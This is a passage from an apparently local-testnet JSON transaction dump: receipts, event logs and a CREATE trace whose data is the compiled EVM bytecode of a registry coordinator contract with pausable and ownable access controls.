469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","nonce":38,"gas_used":572955},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x117c36","logs":[{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000020000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000100000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000080000000000000000000000000000000000000000000000"},"block_hash":"0x1f1359dfd62a62c1a2cfc68f2840b3e0077619e94891dc28b236eeb3e44a1dd3","block_number":5},{"info":{"transaction_hash":"0x54f63bd0d3b9d8713f7850768a1ff1551e3d798f65638ef85b9bdf3a3e026a38","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6101c06040523480156200001257600080fd5b5060405162005cac38038062005cac833981016040819052620000359162000254565b604080518082018252601681527f4156535265676973747279436f6f7264696e61746f720000000000000000000060208083019182528351808501909452600684526576302e302e3160d01b908401528151902060e08190527f6bda7e3f385e48841048390444cced5cc795af87758af67622e5f4f0882c4a996101008190524660a05287938793879387939192917f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f620001358184846040805160208101859052908101839052606081018290524660808201523060a082015260009060c0016040516020818303038152906040528051906020012090509392505050565b6080523060c05261012052505050506001600160a01b039384166101405291831661018052821661016052166101a0526200016f62000179565b50505050620002bc565b600054610100900460ff1615620001e65760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101562000239576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146200025157600080fd5b50565b600080600080608085870312156200026b57600080fd5b845162000278816200023b565b60208601519094506200028b816200023b565b60408601519093506200029e816200023b565b6060860151909250620002b1816200023b565b939692955090935050565b60805160a05160c05160e05161010051610120516101405161016051610180516101a0516158e8620003c46000396000818161074e0152818161118101528181611f5c01528181612b9a015281816132a701526136c101526000818161069301528181611ee70152818161238601528181612b1a015281816131fe015281816133ef015261364001526000818161065901528181610f5401528181611f2501528181612a9c01528181612c8201528181612cfc0152818161317e015261373d015260008181610571015281816129f201526130c601526000613944015260006139930152600061396e015260006138c7015260006138f10152600061391b01526158e86000f3fe608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614600565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614650565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614683565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a919061469e565b61033e6105ed3660046146f6565b611068565b6106056106003660046144fc565b61143e565b60405161036a9190614799565b61033e6114b2565b610494610628366004614683565b6001805460ff9092161b9081161490565b61033e61064736600461481e565b61157e565b600154610360565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6103b1610689366004614474565b6115d8565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b61033e6106c3366004614852565b611602565b61033e611757565b6103606106de366004614909565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614aa7565b6117d9565b6103b17f000000000000000000000000000000000000000000000000000000000000000081565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614ba0565b611af2565b61036060a05481565b6107c66107c1366004614c48565b611c57565b60405161036a9190614ced565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d37565b611d06565b609c54610360565b61033e610823366004614e1d565b611d6c565b61033e610836366004614fda565b611d7f565b6108aa610849366004614683565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150ae565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150bc565b60405180910390fd5b60005b82811015610a48576000848483818110610990576109906150f3565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614761565b6002811115610a0157610a01614761565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a716150f3565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614761565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061514f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615162565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b81526004016109689061517f565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151c9565b610da95760405162461bcd60e51b8152600401610968906151eb565b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e966150f3565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190615162565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150bc565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b83811015611435576000858583818110611131576111316150f3565b919091013560f81c91503690506000898985818110611152576111526150f3565b90506020028101906111649190615233565b6040516379a0849160e11b815260ff8616600482015291935091507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f4919061527c565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da576000848483818110611253576112536150f3565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614761565b60028111156112c4576112c4614761565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152af565b92611393939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614761565b60028111156114a9576114a9614761565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151c9565b61153f5760405162461bcd60e51b8152600401610968906151eb565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166000908152609f602090815260408083204290556099825280832080548251601f87018590048502810185019093528583529093909290916116b69187908790819084018382808284376000920191909152505060965460ff1691506127489050565b905060006116c383612211565b905060018085015460ff1660028111156116df576116df614761565b1480156116f457506001600160c01b03821615155b801561171257506117126001600160c01b0383811690831681161490565b15611435576114358787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b61175f612435565b6117696000612c0e565b565b60006117ab7f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a8787878787604051602001611048969594939291906152ec565b9695505050505050565b6000610ee482612211565b60006117d46064546001600160a01b031690565b905090565b60018054600091908116036118005760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff166118515760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b8389146118895760405162461bcd60e51b81526004016109689060208082526004908201526338a632b760e11b604082015260600190565b60006118953388612c60565b90506118f533828888808060200260200160405190810160405280939291908181526020016000905b828210156118ea576118db60408302860136819003810190615374565b815260200190600101906118be565b505050505087612d95565b600061193c33838e8e8e8e8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b90506000609760008e8e6000818110611957576119576150f3565b919091013560f81c825250602080820192909252604090810160009081208251606081018452905463ffffffff811680835261ffff600160201b8304811696840196909652600160301b9091049094169281019290925284518051929450916119c2576119c26150f3565b602002602001015163ffffffff161115611ae357611a678d8d60008181106119ec576119ec6150f3565b9050013560f81c60f81b60f81c8360400151600081518110611a1057611a106150f3565b6020026020010151338560200151600081518110611a3057611a306150f3565b60200260200101518c8c6000818110611a4b57611a4b6150f3565b905060400201803603810190611a619190615374565b86613335565b611ae388886000818110611a7d57611a7d6150f3565b9050604002016020016020810190611a9591906144fc565b8e8e600090600192611aa9939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b50505050505050505050505050565b6001805460009190811603611b195760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff16611b6a5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b6000611b763385612c60565b90506000611bbf33838b8b8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b51600080805260976020527f683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c754825192935063ffffffff1691839190611c0757611c076150f3565b602002602001015163ffffffff161115611c4c5760405162461bcd60e51b81526020600482015260066024820152650714d61784f760d41b6044820152606401610968565b505050505050505050565b6060600082516001600160401b03811115611c7457611c74614519565b604051908082528060200260200182016040528015611c9d578160200160208202803683370190505b50905060005b8351811015611cfe57611ccf85858381518110611cc257611cc26150f3565b6020026020010151613504565b828281518110611ce157611ce16150f3565b63ffffffff90921660209283029190910190910152600101611ca3565b509392505050565b60018054600290811603611d2c5760405162461bcd60e51b8152600401610968906150bc565b6115d33384848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b611d74612435565b6115d38383836135bd565b600054610100900460ff1615808015611d9f5750600054600160ff909116105b80611db95750303b158015611db9575060005460ff166001145b611e1c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610968565b6000805460ff191660011790558015611e3f576000805461ff0019166101001790555b82518451148015611e51575081518351145b611e825760405162461bcd60e51b8152602060048201526002602482015261494560f01b6044820152606401610968565b611e8b89612c0e565b611e95868661379f565b611e9e88612599565b611ea787612602565b609c80546001818101835560008381527faf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c92830180546001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166001600160a01b03199283161790925585548085018755850180547f0000000000000000000000000000000000000000000000000000000000000000841690831617905585549384019095559190920180547f000000000000000000000000000000000000000000000000000000000000000090921691909316179091555b8451811015611fee57611fe6858281518110611fa557611fa56150f3565b6020026020010151858381518110611fbf57611fbf6150f3565b6020026020010151858481518110611fd957611fd96150f3565b60200260200101516135bd565b600101611f87565b508015611c4c576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050505050565b612047612435565b6001600160a01b0381166120ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610968565b610d1981612c0e565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212c9190615162565b6001600160a01b0316336001600160a01b03161461215c5760405162461bcd60e51b81526004016109689061517f565b6001541981196001541916146121da5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610c51565b6000818152609860205260408120548082036122305750600092915050565b6000838152609860205260409020612249600183615390565b81548110612259576122596150f3565b600091825260209091200154600160401b90046001600160c01b03169392505050565b606060008061228a8461388f565b61ffff166001600160401b038111156122a5576122a5614519565b6040519080825280601f01601f1916602001820160405280156122cf576020820181803683370190505b5090506000805b8251821080156122e7575061010081105b1561233e576001811b93508584161561232e578060f81b838381518110612310576123106150f3565b60200101906001600160f81b031916908160001a9053508160010191505b612337816153a3565b90506122d6565b5090949350505050565b60018260200151600281111561236057612360614761565b1461236a57505050565b81516040516333567f7f60e11b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906366acfefe906123bf908890869088906004016153bc565b6020604051808303816000875af11580156123de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240291906153ec565b90506001600160c01b0381161561242e5761242e85612429836001600160c01b031661227c565b612886565b5050505050565b3361243e6117c0565b6001600160a01b0316146117695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125225760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610968565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b609d54604080516001600160a01b03928316815291831660208301527f315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c910160405180910390a1609d80546001600160a01b0319166001600160a01b0392909216919091179055565b609e54604080516001600160a01b03928316815291831660208301527f8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9910160405180910390a1609e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ee46126786138ba565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6040805180820190915260008082526020820152600080806126e96000805160206158938339815191528661542b565b90505b6126f5816139e1565b9093509150600080516020615893833981519152828309830361272e576040805180820190915290815260208101919091529392505050565b6000805160206158938339815191526001820890506126ec565b60008061275484613a63565b9050808360ff166001901b116127d25760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610968565b9392505050565b60ff8216600081815260976020908152604091829020845181548684018051888701805163ffffffff90951665ffffffffffff199094168417600160201b61ffff938416021767ffff0000000000001916600160301b95831695909502949094179094558551918252518316938101939093525116918101919091527f3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac9060600160405180910390a25050565b6001600160a01b0382166000908152609960205260409020805460018083015460ff1660028111156128ba576128ba614761565b146128ef5760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b60965460009061290390859060ff16612748565b9050600061291083612211565b90506001600160c01b0382166129515760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b6129686001600160c01b0383811690831681161490565b61299d5760405162461bcd60e51b81526004016109689060208082526004908201526310a9bab160e11b604082015260600190565b6001600160c01b03828116198216166129b68482613beb565b6001600160c01b038116612a855760018501805460ff191660021790556040516351b27a6d60e11b81526001600160a01b0388811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da90602401600060405180830381600087803b158015612a3657600080fd5b505af1158015612a4a573d6000803e3d6000fd5b50506040518692506001600160a01b038a1691507f396fdcb180cb0fea26928113fb0fd1c3549863f9cd563e6a184f1d578116c8e490600090a35b60405163f4e24fe560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063f4e24fe590612ad3908a908a9060040161543f565b600060405180830381600087803b158015612aed57600080fd5b505af1158015612b01573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016925063bd29b8cd9150612b539087908a90600401615463565b600060405180830381600087803b158015612b6d57600080fd5b505af1158015612b81573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016925063bd29b8cd9150612bd39087908a90600401615463565b600060405180830381600087803b158015612bed57600080fd5b505af1158015612c01573d6000803e3d6000fd5b5050505050505050505050565b606480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040516309aa152760e11b81526001600160a01b0383811660048301526000917f0000000000000000000000000000000000000000000000000000000000000000909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef919061547c565b90506000819003610ee4577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d5293929190615495565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d2919061547c565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152af565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061514f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614761565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614761565b021790555050604051639926ee7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169150639926ee7d906130fe908d908990600401615505565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633fb27952906131b7908d908c908c90600401615579565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692506325504777915061323b908d908d908d908d9060040161559e565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061562e565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169062bff04d906132df908c908c908c90600401615691565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156ab565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615744565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c5760016135298284615390565b6135339190615390565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff1681548110613566576135666150f3565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b613607816001615761565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063ff694a77906136799084908890889060040161577a565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a4600184615390565b90921691806138b2816157f6565b915050613893565b6000306001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614801561391357507f000000000000000000000000000000000000000000000000000000000000000046145b1561393d57507f000000000000000000000000000000000000000000000000000000000000000090565b50604080517f00000000000000000000000000000000000000000000000000000000000000006020808301919091527f0000000000000000000000000000000000000000000000000000000000000000828401527f000000000000000000000000000000000000000000000000000000000000000060608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b60008080600080516020615893833981519152600360008051602061589383398151915286600080516020615893833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615893833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b136150f3565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b416150f3565b0160200151600160f89190911c1b9150828211613bd6576040516246